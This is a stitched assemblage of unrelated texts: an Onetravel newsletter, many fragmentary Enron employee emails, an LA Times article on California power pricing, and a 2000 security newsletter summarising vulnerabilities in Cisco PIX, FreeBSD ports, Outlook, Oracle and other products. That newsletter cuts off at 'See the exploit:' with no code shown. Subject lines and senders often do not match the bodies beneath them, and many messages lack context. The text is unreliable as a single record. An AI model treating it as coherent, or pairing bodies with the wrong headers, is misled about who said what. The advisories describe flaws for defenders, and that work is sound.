If you're looking to relax on the beach and collect exotic seashells, then Captiva Island is a must-see!  Captiva's beaches are one of the best in the world for shelling.  Spend a day fishing, golfing or relaxing in a spa.  Three to seven-night packages are available through December 2002 and include:

http://www.11th.com/fmv.php3?dest_loc=2167&DK=11&token=15

Prices are per person based on double occupancy and availability. Some room categories do allow occupancy of up to 6 people, rates are available upon request. Taxes are additional. Children 16 & under stay free when sharing adult room with existing bedding. Prices are in U.S Dollars. Some taxes/fees are additional.

---------

LAST WEEK'S MOST POPULAR DESTINATION: Book your vacation to the Dominican Republic!

Here's the most popular destination from the previous week...the Dominican Republic! It was the white sand beaches, tropical sun and the nightlife that enticed the majority of our customers. Remember, as we make enhancements be sure to tell us what you think, please email  editor@onetravel.com.

http://www.11th.com/fmv.php3?dest_loc=2964&DK=11&token=15
to view Dominican Republic packages!

---------
SMART TRAVELERS' CORNER: This week, columnist Bob Jones provides tips on getting the best travel deal.

Spring break for Travel 101 - (We will resume the frugal travel course next week.)

Detroit's new terminal opens. Part Two - The New.  (Continued from last week.  For the complete story, click on link below.

Up at the crack of dawn, I checked in at Indy and spoke with other travelers about the new digs in Detroit.  All had horror stories about the old terminal and one recounted the days prior to the moving walkways when a trip from the ticket counter to the C concourse was indeed 15 minutes for the hale and hearty.  Enough talk about the old terminal, on to the new.

We arrived a little early at Detroit's NWA "World Gate Way" and there was some confusion getting to the gate but I suspect that was just first day jitters as ground controllers learned how to move aircraft in a "corridor" free environment.  The main stream press reported how Richard Anderson, CEO of Northwest, was on hand to greet the first few flights.  He didn't greet ours when it arrived at 9:17 AM, must have seen my name on the manifest.  Our arrival gate A-43 was near the center of the terminal and my connecting flight was out of A-1 literally over a half mile away.  However, the elevated tram that runs the length of the terminal was just a few feet away allowing the journey from A-43 to A-1 to be accomplished in under five minutes.  This alone sold me!

I intentionally planned the trip to allow three hours to really get to know the new facility.  I had been invited on a press tour but knew we would be shown what they wanted us to see and report about...the five Ws of course.  I wanted to see what travelers saw, after all, that's who it was built for, wasn't it?  Remember, my arrival was on a Sunday, an off travel day, but things went very smoothly.  Not all the shops were open but it was easy to see that one could buy just about anything they had forgotten to pack, including a Brooks Brother's suit.  Heck, if you were really late and couldn't pack, you could buy and fill a bag right there!  Restrooms were everywhere.  It was impossible to not see at least two for each gender simultaneously.  Newsstands were every 100 paces and a food court at the north end of the terminal covers you from soup to nuts!  Mid terminal, the main entry and exit point for travelers beginning or ending their journey in Detroit contains a huge wate!
r sculpture.  This should make an ideal meeting place if 5,000 people don't decide to use it all at once.

For the complete story click on the link below:
http://www.onetravel.com/advisor/AR_AirlineNews_Article.cfm?&ArticleID=356

---------
ADDITIONAL STEALS AND DEALS FROM Onetravel.com!

Ski 4 nights at the Fairmont Banff Springs Hotel and get the 5th night free from $617 with airfare!
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---------
QUESTIONS? COMMENTS?  We'd love to hear from you!  Drop us a line at editor@onetravel.com. Send us your travel questions for professional advice from our panel of experts, or stop by http://www.onetravel.com for loads of helpful information in our Advisor section.

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enter the email address (sscott5@enron.com) to which this message was sent.
EID=559944****2

---------------------- Forwarded by Patrice L Mims/HOU/ECT on 11/21/2000 
From: Barbara G Dillard@ENRON on 11/21/2000 09:02 AM
To: Richard Tomaski/Corp/Enron@Enron, James Simpson/HOU/ECT@ECT, Hunter S 
Shively/HOU/ECT@ECT, Jason Williams/HOU/ECT@ECT, Patrice L Mims/HOU/ECT@ECT
cc:  
Subject: PGL & NS sendout for 11/22/00

I believe the registration deadline for the Nov 7 election has passed.  I'll 
ask Eliz to forward the registration materials to you so you can be ready for 
the next election.  Also, if you were registered in Harris County before you 
may still be on the rolls at your old precinct ... you should ask.

	A G Gelotti@ENRON_DEVELOPMENT
	11/02/2000 12:36 AM
		
		 To: Steve Kean@ENRON
		 cc: 
		 Subject: Re: Harris County - Early Voting Shuttle!!!!!

Steve,
My wife and I have been out of the country and have not registered to vote 
nor do we have absentee ballots to vote.  Any suggestions on how we can vote?

To: All Enron Houston
cc:  
Subject: Harris County - Early Voting Shuttle!!!!!

Avoid the crunch on election day by voting early!  

ENRON is providing employees with
complimentary shuttle service
 from the Enron Building to the downtown early voting site!!

Thursday, November 2 
and 
Friday, November 3 
1319 Texas Avenue @ Austin Street
7:00 am until 7:00 pm
(transportation by Beal's - pick-up on the West end of Andrews Street)

In order to vote early at this site, 
you must be registered in Harris County 
and present your drivers license for ID verification
(your voter registration card is not necessary)

Please take advantage of this opportunity and VOTE!!

For election-related questions, please reference this website:
www.co.harris.tx.us/cclerk/elect.htm

---------------------- Forwarded by Dana Davis/HOU/ECT on 02/15/2001 10:27 AM 

Daily-Blessings <dailyblessings@lists.postmastergeneral.com> on 02/14/2001 
10:51:04 PM
To: dana.davis@enron.com
cc:  
Subject: Daily-Blessings 2/15/01

Mathematical Equation
http://www.daily-blessings.com/bless270.htm
<a href="http://www.daily-blessings.com/bless270.htm ">Mathematical 
Equation</a>

Want to work from home?  Be your own boss, set your own hours....
<a href="http://www.daily-blessings.com/cjworkfromhome.htm ">Work from 
home</a>

Need ink?  Buy from the folks that are reliable, low cost, and reputable!!!
http://www.daily-blessings.com/cjinkman.htm
<a href="http://www.daily-blessings.com/cjinkman.htm ">Mr Inkman</a>

http://inbound.postmastergeneral.com/remove?dailyblessings
* Enter your email address (dana.davis@enron.com) in the field
provided and click "Unsubscribe". The mailing list ID is "dailyblessings".

OR...

This message was sent to address dana.davis@enron.com
X-PMG-Recipient: dana.davis@enron.com

Just wanted to pass along some information.  

If you have e-mails or notices you wish to have distributed throughout  Enron 
they should be sent to:  Enron Messaging Administration/Corp/Enron.

For Information Call X35885, Messaging Administration Group

Sr. Admin Assistant
EWS-Legal
Tele: 713-345-7373
Fax:  713-646-6058

I had a good interview with Andy Maus yesterday.  He is a strong candidate 
and I wanted to make you aware of his background.  His resume is attached 
below.  Please contact Andy if you are interested in talking with him.

Thanks.
Mike
---------------------- Forwarded by Mike McConnell/HOU/ECT on 04/04/2001 
08:14 AM ---------------------------

Andrew Maus@ENRON COMMUNICATIONS
04/03/2001 04:52 PM
cc:  
Subject: Meeting followup

Mike,

Thanks again for meeting with me today.  It was a pleasure to finally meet 
you, I appreciate your help in my redeployment process.  Attached is my 
resume that should provide a snapshot of my background and skills for those 
you have in mind.

I will be in Houston meeting and interviewing until next Wednesday, April 
12th. Hopefully there will be the opportunity to meet with some your team 
before I return to London.  My contact phone is listed below, and I am 
sitting on 45 this week.  I'll update you with my progress before I leave 
next week.

Talk with you soon.

 Andy

Andrew Maus
Enron Broadband Services Europe
40 Grosvenor Place
London  SW1X 9RS
Phone:  +44 (0) 207 783 4533
Fax:       +44 (0) 207 783 9195
Mobile:  +44 (0) 799 056 2329

Houston contact phone: 503-807-0927 (cell)

---------------------- Forwarded by Kevin Hyatt/ET&S/Enron on 07/07/2000 
02:38 PM ---------------------------
   
	From:  Terry Galassini                           07/07/2000 02:33 PM
	
To: Steven Harris/ET&S/Enron@ENRON, Kevin Hyatt/ET&S/Enron@Enron
cc:  
Subject: Station 4

FYI
---------------------- Forwarded by Terry Galassini/ET&S/Enron on 07/07/2000 
02:34 PM ---------------------------

Operations Outages
07/07/2000 02:28 PM
Sent by: Jerry Graves
To: Bart Monden/OTS/Enron@ENRON, Bill Bell/OTS/Enron@ENRON, Bill 
Swarthout/OTS/Enron@ENRON, Brandon Kemp/OTS/Enron@ENRON, Christopher 
Tracy/OTS/Enron@ENRON, Crandal Hardy/OTS/Enron@ENRON, Dale 
Ratliff/OTS/Enron@ENRON, Darrell Schoolcraft/ET&S/Enron, Edward 
Welsh/OTS/Enron@ENRON, Gary Spraggins/ET&S/Enron, Gaynel 
Henley/OTS/Enron@ENRON, Helen Cummings/OTS/Enron@ENRON, Jeffrey 
Cochran/OTS/Enron@ENRON, Jesse Alvarado/OTS/Enron@ENRON, Margaret 
Hall/OTS/Enron@ENRON, Michael Ellington/OTS/Enron@ENRON, Richard 
Barry/OTS/Enron@ENRON, Robert Munson/OTS/Enron@ENRON, Rodney 
Barnes/OTS/Enron@ENRON, Ron Spain/OTS/Enron@ENRON, Roy 
Armitage/OTS/Enron@ENRON, Sharon Brown/ET&S/Enron, Steve 
Coash/OTS/Enron@ENRON, Steven January/ET&S/Enron, Ben 
Asante/ET&S/Enron@ENRON, Kenneth Chow/ET&S/Enron@Enron, Carolyn 
DesCoteaux/ET&S/Enron@ENRON, David Foti/ET&S/Enron@ENRON, Terry 
Galassini/ET&S/Enron, Jerry Graves/ET&S/Enron@ENRON, Gale 
Ramsaran/ET&S/Enron, Bryan Reinecke/ET&S/Enron, John Sturn/ET&S/Enron, Steve 
Thomas/ET&S/Enron@ENRON, Perry Frazier/ET&S/Enron@ENRON, Ronald 
Matthews/ET&S/Enron@ENRON, Eric Faucheaux/ET&S/Enron@Enron, Mansoor 
Abdmoulaie/ET&S/Enron@ENRON, Doug Aschwege/ET&S/Enron@ENRON, Judy 
Beck/ET&S/Enron@ENRON, Gary Choquette/ET&S/Enron@ENRON, Bob 
Johnson/NPNG/Enron@ENRON, LD Stephens/ET&S/Enron@ENRON, Roger 
Westfall/ET&S/Enron@ENRON, Colleen Hood/ET&S/Enron@ENRON, Ken 
Anderson/ET&S/Enron@ENRON
cc:  

It still looks like Saturday for unit #3. They are working to get the 
compressor back on the skid, and then they will start it up 
and do web deflections on the unit. Hopefully all will go well.

Jerry

Thanks for your message.  We are in the process of turning a blackline.  Sara

"Stoner, John E." <JStoner@gdclaw.com> on 03/15/2000 04:52:47 PM
To: "'sshackl@enron.com'" <sshackl@enron.com>
cc:  
Subject: ISDA Master

Phil Morley asked me to follow up on the status of the ISDA Master.  I think
you have everything you needed from me--please let me know if I'm wrong.
Phil would like us to proceed with finalizing the form of the ISDA master
even if the pulp plant purchase is not scheduled until June.  I look forward
to hearing from you.  Thanks.

This message may contain confidential and privileged information.  If it has 
been sent to you in error, please reply to advise the sender of the error and 
then immediately delete this message.

If the fuel is being nominated and scheduled the only volumes hitting the OBA are the diff. between scheduled and actual and that is what the OBA's are for as long as it is not being abused.

John Buchanan

From: 	Blair, Lynn  
Sent:	Thursday, January 03, 2002 11:08 AM
To:	Kowalke, Terry; Buchanan, John; Watson, Kimberly; Hanagriff, Richard; Schoolcraft, Darrell
Cc:	January, Steve
Subject:	RE: Sid Richardson Fuel OBA issue

	FYI.  Is everyone comfortable that we are NOT creating an imbalance with Sid
	Richardson due to fuel?  Just want to be sure we should not check out any
	additional information.  Terry, thanks for your prompt reply.  Thanks. Lynn

Sent:	Thursday, January 03, 2002 11:03 AM
To:	Blair, Lynn; Buchanan, John; Watson, Kimberly
Subject:	Sid Richardson Fuel OBA issue

In the OBA meeting held today 01/03/02. Is the fuel being nominated or not at the Sid Richardson point #500395 or L.E. 8729? Yes it is and has been nominated as far back as I can retrieve information in TMS. The point came active in 12/1995 and remains active today. It is also part of their main OBA contract #21758. According to the information in CBS it was nominated and scheduled back then also. If there is more information or questions, please let me know. Thank you. 

Mary,

If we add both balances together the total is $1,140.  I can spread it over 6 
or 12 months.  6 month payout would be $190/month.  
12 month payout would be $95/month.  Your choice.  I would like it if you 
could work 5/hrs each Friday for another month or so.  Does $10/hr sound 
fair?  We can apply it to the loan.

Phillip

Kamp,

Did you watch the Astros / Giants game last night.  It was embarrassing.  I've never
seen such a cowardly performance by a baseball team (of course I'm talking abt the
Astros).  When do you ever walk a guy with runners on 1st and 2nd, your team is 
down by 1 run and there is 2 outs?  Answer:  NEVER.  According to Dierker,
"... the critical walk was the one with runners on first and second," Dierker said. "We did that because Jeff Kent was 3-for-17 against Williams and had struck out the last five at-bats (against him), so he showed some dominance against him. Obviously, you don't want to put another runner on base and move the runners another base in scoring position unless you have a very compelling reason, and we did.

How's long's this clown been managing.  I guess he hasn't followed Kent the last few years.  It wasn't like he was walking Bonds to get to 
Ivan DeJesus.  He doesn't even have the sack to admit he fucked up.  I've never seen fans boo their home team so much since the days of Michael Jack.

Have you and Patty been getting any sleep? How's Jack?

KR

Yes, lets continue to have the pre-meetings formerly known as Mike's every 
Mon. at 8:30 (pls put on my calendar Emily).  I'll be in Houston this Monday 
so just come to my office at 8:30 if you are both here.  Dot, pls cover the 
staff meeting on Monday, April 9 as I'll be on vacation.  Also, pls cover the 
Derrick large GC meeting at 9:00 am on April 12 as I'll be at NN's Keyex 
meeting in Cal.  (I may be able to call in to this but would like you to 
cover anyway in case something goes haywire). Thanks df 

From: Dorothy McCoppin/ENRON@enronXgate on 03/29/2001 04:39 PM
To: Emily Sellers/ENRON@enronXgate
cc: Drew Fossum/ET&S/Enron@ENRON 

Subject: Mon morning pre-ETS staff meetings

 If Mike has "checked out", will he then not be here on Monday at 8:30 for 
pre-Stan meeting, or what?  Should I just 
 call Drew?   When? 

Jeff,

For a long time John and Mike have been letting counterparties who 
accidentally click on the Gas Daily stack change the deals to NYMEX swaps.  
The counterparty would let John/Mike know and then they would tell us.  In 
addition, at the end of the month, we would get calls from settlements and 
credit telling us (per the counterparty) that there were more deals that 
needed to be changed from GD to Nymex than we had changed.  John would let 
them change those deals too.

On Friday we changed some Jan. `01deals with Utilicorp that had been done in 
late November to NYMEX swaps.  Because of the timing there was a P/L impact 
of -$1.3MM.  When John saw this today he asked me what it was, I explained, 
and he stated that what they click on is what they get.  I relayed this to 
settlements and credit and that is why Kim is calling you b/c Reliant and 
Utilicorp are 'upset'.  They claim that they have John and Mike on tape 
letting them out of the GD deals and into NYMEX swaps.

We do not change the actual deals booked by EOL.  We book two new legs that 
create a NYMEX swap and flip out the GD deal.

Errol

Here is what I have been able to do on the list of accomplishments.  Tim 
Belden said it was impossible to quantify what we had done for the western 
market on a P/L basis for ENA, but that it was very important for creating a 
good market going forward. Nonetheless, he gave me a number (I thought a 
pretty low one)  based on what it would mean for his own P/L. I'm waiting to 
hear something back on one other item from EES.  Basically, most of it is 
pretty impossible to quantify.

Sue Mara

I am forwarding to your attention a clean and red-lined draft of the revised 
Schedule to the ISDA Master Agreement.   Please note that we are still 
waiting to receive comments from your Treasury Department on the Guaranty 
from Cargill Incorporation.

If you have any questions or comments, please feel free to contact me at the 
number referenced below or Sara  at (713) 853-5620.  We look forward to 
hearing from you soon.

Attached is a draft of an LOI for the City of Rocky Mount.   Please let me 
know by tomorrow morning if you have any comments.

By the way, the exclusivity provisions are being re-examined, as CRM wants 
reciprocal exclusivity.

Thank you,

Kay

One of the guys here recieved a call from a guy at EES looking for contacts at gas utilities in the Northwest.  They are hoping to sell them some sort of deal where they provide the utility structured products and the utility pushes them through to the endusers... isn't that my Cascade deal?  Let's discuss Monday, it sounds like something we need to nip in the bud.

Nope, we still don't have a terminal we can use.

	Brent Hendry@ENRON
	03/01/2001 09:47 AM
		
		 cc: 
		 Subject: Re: Tradespark Website Access

Any word on this issue being resolved?

	02/12/2001 09:37 AM
		 
		 To: Mark Taylor/HOU/ECT@ECT, Mark Greenberg/NA/Enron@ENRON, Stacy E 
Dickson/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Shari Stack/HOU/ECT@ECT, 
Wayne Gresham/HOU/ECT@ECT, Brent Hendry/NA/Enron@Enron, John 
Viverito/Corp/Enron@Enron
		 cc: Sheri Thomas/HOU/ECT@ECT
		 Subject: Tradespark Website Access

Jason, our new computer floortech, has discovered why we can't get into the 
system.  He spoke to the Tradespark people and Tradespark is an NT system, 
and they won't have Microsoft 2000 compatibility for several months.  We 
cannot install NT on each of your individual computers, Jason says you can 
only have one system at any given time, so I have asked him to locate an 
unused terminal on the floor and install NT on that computer.  As soon as we 
have it up and running, I will let you know and you will have to do your 
review at that terminal.

Thanks for your patience.

Whaaasssssuuup.  Sack--you need to update me on where the hell you are these 
days.  Flying jets in Denver?  Chicago?  Where?  Reed, you need to check your 
emails more than once every 6 months.  Huet, I'll call you on the apple data 
tonight or tomorrow.   Loon, since I sent you a cool email, you need to 
invite me to at least one boondoggle on Wednesday (Dougie is going to the 
Fascist convention in Philadelphia all next week to schmooze).  Carmany, you 
are just weak--you need a wife and about 7 kids to throttle your lifestyle 
back a bit.  Egg and Kate--I have nothing mean to say to you just now, but 
I'll work on it.  DF   
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 07/28/2000 
02:19 PM ---------------------------

 - boredmtg.exe

of course, it's a favorite.  the lesson i learned last night--and i wouldn't 
be surprised if i were your only friend who learns lessons from weekday 
comedies--is to be happy!...if you're free, let's go out tomorrow eve and 
have our brief woes drinks (and not wait 2 weeks), then put it in the past....

10/25/2000 10:59 AM
cc:  

yes..did you see it last night?

cc:  

do you ever watch "Frasier"?

10/24/2000 11:13 AM
cc:  

the 7th it is!  sorry about philly.  that would have been a nice diversion.  
just think....you aren't into her, so at least she isn't in town.

cc:  

I had to cancel my trip to Phila today--bummer.  Nov 7 is fine.  (I'm out of 
town this sunday for one week)  I'm psyched about australia, but only for two 
days is a little sad.  Anyway, I'm here through sunday if there is a woe 
emergency.....

10/24/2000 08:08 AM
cc:  

I am looking forward to it as well.  Don't worry...I am not planning on 
spending too much time on our sob stories!  Tuesday, November 7 is the best 
for me.  If that doesn't work, Thursday may work, but on the later side.  I 
think I have to have a drink with a consultant coming into town, but I am not 
sure.  

Have a safe trip and I can't wait to hear all about it.  If you decide that 
Australia is to amazing to leave, I will completely understand and we can 
reschedule.  I wouldn't blame you a bit!  In fact, we could have drinks 
there....I've never been!

ALI

cc:  
Subject: 

I'm looking forward to our drinks/dinner of woes.  (But not too long on woes, 
I don't like not being in a good mood).  When is good for you week after next?

Jeff

P.S.  I really don't like that expression "misery loves company"  by the 
way......

Kathy,

Aquila accidentally traded my financial product instead of my physical 
product. Could you change the financial deal they did to phys?

I buy 5000 from Aquila at 3.645 for May.

Thanx,

Chris

Energy Cost Study Critical of Public Agencies Too 
 Power: DWP is among three government-run producers cited as driving prices 
up. Spokesmen deny any market manipulation. 

By ROBERT J. LOPEZ, RICH CONNELL, Times Staff Writers

????Government-owned utilities, including the Los Angeles Department of Water 
and Power, were influential in driving wholesale electricity prices to levels 
that helped ignite California's exploding energy crisis during the summer and 
fall, according to public and confidential records. 
?????For months, Gov. Gray Davis, legislators and consumer advocates have 
chiefly blamed a few private power companies for throwing the state into 
darkness and economic chaos. 
?????But they are just part of the equation. 
?????A confidential document obtained by The Times names power providers that 
have allegedly manipulated the electricity market. While the document does 
identify out-of-state merchants criticized for gouging, it also discloses for 
the first time the extent to which public entities allegedly have maximized 
profits in the volatile spot market. 
?????The document--which decodes the identities of unnamed suppliers in a 
recent state study--singles out three government-run agencies as consistently 
trying to inflate prices. They are: the DWP, the federally owned Bonneville 
Power Administration in the Pacific Northwest and the trading arm of Canada's 
BC Hydro in British Columbia. 
?????Like a number of privately owned generators, these three producers 
offered power at a range of high prices and, sometimes, in large amounts when 
the state was most desperate. They also helped saddle California's three 
largest utilities with billions of dollars in debt--leading one, Pacific Gas 
& Electric, to seek bankruptcy protection last week. 
?????The study by the California Independent System Operator, or Cal-ISO, 
analyzed thousands of hours of bidding practices for 20 large suppliers in 
the spot, or "real-time," market from May to November. The study accounted 
for factors such as rising production costs, increased demand, periods of 
scarcity and profits that would be earned in a healthy, competitive market. 
?????Money earned above that was called excess profits. 
?????No entity--public or private--earned as much in alleged excess profits 
as British Columbia's Powerex, the state records show. 
?????"They were the most aggressive bidders," said Anjali Sheffrin, author of 
the coded study. 
?????"They had the most amount to bid and the most freedom to bid it in," 
said Sheffrin, who did not discuss any companies by name. 
?????The Canadian agency reaped $176 million in alleged excessive 
profits--several times the amount collected by all but one of the private 
generators. Second on the list was Atlanta-based Southern Co. Energy 
Marketing, now called Mirant, which collected nearly $97 million in alleged 
inflated earnings. 
?????BC Hydro and Mirant--along with the DWP and other producers--say they 
played by the rules established under California's flawed deregulation plan 
and did not exploit the state's troubles. 
?????But BC Hydro officials acknowledge that they did anticipate periods of 
severe power shortages and planned for them by letting their reservoirs rise 
overnight and then opening them to create hydroelectricity, which could be 
produced inexpensively but sold for a premium. 
?????"It was the marketplace that determined what the price of electricity 
would be at any given time," said BC Hydro spokesman Wayne Cousins. "We 
helped keep the lights on in California." 
?????And the rates low for their own customers. During the past year, BC 
Hydro has stashed hundreds of millions dollars in a "rainy day" account to 
ensure that it has among the lowest rates in North America. 
?????Los Angeles' Department of Water and Power, although eighth on the list 
of alleged profiteers, was among those singled out for seeking high prices 
during periods of high demand that helped inflate costs across the entire 
spot market, where emergency purchases are made. 
?????This, according to state documents, was accomplished by offering power 
at incrementally higher prices that would rise substantially with even modest 
increases in demand. The strategy also helped prop up prices, keeping them 
from falling. 
?????The DWP's average hourly bid, or asking price, for electricity 
ultimately bought topped such private sellers as Reliant Energy of Houston 
and Tulsa-based Williams Cos., two major players in the national energy 
market. 
?????In addition, the DWP submitted other bids at far higher prices that 
could pay off handsomely with even small bumps in demand, the report said, 
referring by code to DWP and four other suppliers. "The data shows they 
clearly exercised market power to inflate prices further at higher load 
conditions." 
?????DWP General Manager S. David Freeman called the report's findings 
"outrageous," insisting that the utility never tried to inflate prices. 
?????"These charges go under the heading there is no good deed that goes 
unpunished in this state," Freeman said, noting that DWP power helped avert 
more blackouts across the state. 
?????He did acknowledge, however, that the agency has charged high prices for 
surplus power at the 11th hour but said that was only because it cost more to 
produce. 
?????"We have consistently charged [Cal-ISO] our cost, plus 15%," he said. 
"It's not as though we're up there peddling a bunch of power to jam it down 
their throats." 
?????Freeman said that when his staff reviewed the coded report, they never 
took it personally. "If you're innocent," he said, "you don't look at the 
criminal file." 
?????Yet another public agency criticized for its behavior in California's 
deregulated market was the U.S. government's Bonneville Power Administration, 
a nonprofit agency that sells wholesale electricity produced at 29 federal 
dams in the Columbia-Snake River basin. 
?????Bonneville actually bid slightly lower than the DWP, records show, but 
reaped millions more in alleged excessive profits, apparently because it 
supplied greater amounts of power during the period studied. Bonneville was 
in the top five accused of taking excessive profits. 
?????Bonneville officials say some of its profits are used to pay back 
federal construction loans and fund an internationally recognized salmon 
recovery program. 
?????Stephen Oliver, a Bonneville vice president, said his agency did not act 
improperly and has asked Cal-ISO for detailed information on how it reached 
its conclusions. He said the grid operator often came to Bonneville pleading 
for last-minute electricity and offering to pay high prices. 
?????"From our point of view, we bid what we had when we had it and we 
operated precisely within the terms of their rules," Oliver said. 
?????Those rules--and the bidding practices criticized by Cal-ISO--so 
distorted the market that Aquila Power Corp. of Missouri, which tried to act 
responsibly, has bailed out. 
?????It offered the lowest average hourly price of any supplier 
studied--slightly more than $8 per megawatt-hour, compared to Mirant's $138, 
the highest. 
?????But the spot market, as initially designed, made sure that all suppliers 
offering power received the highest price paid in any hour. 
?????The result: Aquila collected $171 an hour for power it was willing to 
sell at a single-digit price. 
?????"They weren't the culprits," said Cal-ISO's Sheffrin. "Someone else 
drove that up." 
?????Aquila spokesman Al Butkus said the company pulled out of the California 
market because it was too unpredictable. Although the company made money, he 
said, it also could have lost because of possible downward swings. 
?????"We looked at it and we didn't feel very comfortable with what we saw," 
he said. 
?????The market has since been adjusted to prevent high bids from setting the 
price for everyone. But Sheffrin said it hasn't made much difference because 
the overall prices are still excessive. 
?????"We're saying the patient is sick," Sheffrin said of California's 
electricity market. "It needs help [and] may die." 
?????

Hi, hope you are doing great.  I was wondering if you've met Russell Dyke, 
who is in Lagrasta's group, and who I told could get into the LNG before you 
came over.  He has great international experience, and LNG experience.  He 
might be a great match with the Jose team, since I'm uncomfortable with their 
understanding of MTM, and their overall appreciation of the Enron way of 
doing business.  (Today, Russel (assoc/mgr at year end) closed a deal with 
CSFB worth 19 million to us.)  Overall a solid guy.   Let me know what you 
think.  (Merritt and Russell know each other well, and have worked on 
projects together)

Also, I mentioned to Merritt that I was excited about her opportunity to 
trade dutch power, but was very interested in staying in touch with her, 
possibly to trade freight, etc.  

Jeff

Lisa - How the heck are you??  Need a scheduler?? Serena 

Serena Bishop 
Financial Analyst 
Merant 
503.617.2815 

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/27/2000=
=20
08:46 AM ---------------------------

03/22/2000 04:28:49 AM
om>
cc: =20
Subject: Guarding the perimeter is not always enough

TODAY'S FOCUS: Guarding the perimeter is not always enough
03/21/00

Today's Focus: Guarding the perimeter is=20
not always enough

Oh, the irony. You build your security systems to protect internal
systems from outside intruders, then someone inside the company decides
to play cyber-vandal.

Last week, authorities charged Abdelkader Smires with launching denial-
of-service attacks against his own employer, New York-based Internet
Trading Technologies, Inc. (ITTI). Smires was upset that ITTI did not
meet his demands for a raise and more stock options. He used computers
at a Kinko's Copy store and a local university to launch his revenge
attacks against ITTI that disrupted the company's trading systems for
three days.

"He and the other programmer were involved in writing the software, so
he knew just where to attack. He was fully familiar with weaknesses in
the code," said Eric Friedberg, computer and telecommunications crime
coordinator for the U.S. Attorney's Office in Brooklyn, N.Y., in an
interview with Computerworld "Although it was a potentially disastrous
attack for the company, it wasn't a highly sophisticated attack."

Read more about the attack here:
http://www.nwfusion.com/news/2000/0317insidejob.html

Another interesting article to check out is "The service-pack shuffle
ruffles a lot of feathers" in this week's issue of Network World
(http://www.nwfusion.com/archive/2000/83305_03-20-2000.html). My
colleague Deni Connor writes that customer are fed up with the endless
release of service packs, which seem to be replacing quality assurance
at the companies developing our enterprise software.

But with no bugs, there would be no newsletter, so on with the latest
patches and alerts.

Cisco Secure PIX Firewall FTP vulnerabilities

Cisco announced that its PIX Firewall has a problem interpreting FTP
commands, allowing inappropriate access through the firewall. The
announcement covers two vulnerabilities: One when the firewall receives
an error from an internal FTP server and the second when a client inside
the firewall visits an external site and selects a link that the
firewall interprets as two commands. One of the commands inadvertently
opens a connection through the firewall.
http://www.cisco.com/warp/public/707/pixftp-pub.shtml
************

Patch available for "OfficeScan DoS & Message Replay" vulnerability

Trend Micro has released a new version of OfficeScan Corporate Edition -
Version 3.51 - that eliminates two security vulnerabilities found on
previous versions. Previous versions of OfficeScan allow intruders
within a firewall to initiate a denial-of-service attack on the
OfficeScan client (tmlisten.exe) as well as to capture OfficeScan
commands.  These commands can be replayed and used to change other
OfficeScan client configurations.
Patch:
http://www.antivirus.com/download/ofce_patch.htm
Advisory:
http://www.antivirus.com/download/ofce_patch_35.htm

FreeBSD releases four advisories

The makers of FreeBSD did a little housecleaning last week, releasing
advisories on a number of previously announced vulnerabilities in
various Linux packages.
mh/nmh/exmh/exmh2 ports allow remote execution of binary code
Relating to the nmh's mhshow vulnerability when reading MIME headers.
New packages at:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/mail/nmh-1.0=
.3.
tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-current/mail/nmh-1.=
0.3
.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-current/mail/nmh-1=
.0.
3.tgz

Lynx ports contain numerous buffer overflows
The lynx WWW browser is written in an unsecured format that contains a
number of holes. There is currently no patch available, so FreeBSD
recommends removing the package to eliminate the problem.
mtr port contains a local root exploit
The mtr program (versions 0.41 and below) fails to correctly drop setuid
root privileges during operation, allowing a local root compromise.
Fixes:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/net/mtr-0.42=
.tg
z
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-current/net/mtr-0.4=
2.t
gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-current/net/mtr-0.=
42.
tgz

orville-write port contains local root compromise
One of the commands installed by the port is incorrectly installed with
setuid root permissions. The =01&huh=018 command should not have any specia=
l
privileges because it is intended to be run by the local user to view
his saved messages.
Fixes:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/misc/orville=
-wr
ite2.41a.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-current/misc/orvill=
e-w
rite-2.41a.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-current/misc/orvil=
le-
write-2.41a.tgz

IE and Outlook 5.x allow executing arbitrary programs using .eml files

Georgi Guninski has found yet another flaw in Microsoft's popular
browser and e-mail program. This one allows arbitrary programs to be
launched via attached .eml files. No patch is currently available from
Microsoft, so Guninski recommends shutting off active scripting.
For a demonstration that starts WordPad:
http://www.nat.bg/~joro/eml.html

Sojourn search engine exposes files

The Cerberus Security Team has discovered a weakness in the commercial
search engine, Sojourn, that allows attackers to read any local file on
the file system that they have read access to (as provided by the
account the Web server is running under). As such, files such as
/etc/passwd on Unix systems can be read and files such as the
global.asa on Windows NT and 2000. No patch was available as of this
writing.More on Sojourn:
http://www.generationterrorists.com/sojourn_superuser.html

Problem with AIX 4.x linker

The Sendmail Consortium is warning of a problem with the AIX 4.x linker.
According to the advisory, unlike most other linkers, the AIX linker
uses the paths specified at compile time for the program's shared
library search path at run time.  Therefore, AIX compilations that use
the -L flag with the AIX linker must use extra precautions to prevent
security problems. This problem is not specific to Sendmail and can
affect other applications. IBM claims it is aware of the problem and
provides workarounds.
AIX site:
http://www.ibm.com/servers/aix/

Oracle Web Listener 4.0.x

The Cerberus Security Team has discovered a number of issues with
Oracle's Web Listener, part of Oracle Application Server (OAS), which
allow a remote attacker to run arbitrary commands on the Web server. As
part of the default installation, OAS creates an ows-bin virtual
directory that is a cgi-bin equivalent. According to Cerberus, this
directory not only contains a number of batch files, DLLs and
executables but also the binary image file for the Listener itself,
which could lead to malicious users executing commands on the server
with special query strings. No patch is available yet, though Cerberus
recommends removing the ows-bin directory or point to a more benign
directory.
OAS Web site:
http://www.oracle.com/appserver/

kreatecd local root compromise

TESO has found a vulnerability within the kreatecd application for
Linux. An attacker can gain local root-access. Halloween Linux Version 4
and SuSE 6.x are vulnerable. According to the TESO advisory, the author
of the software has been notified. The advisory recommends removing the
suid bit of kreatecd.
See the exploit:
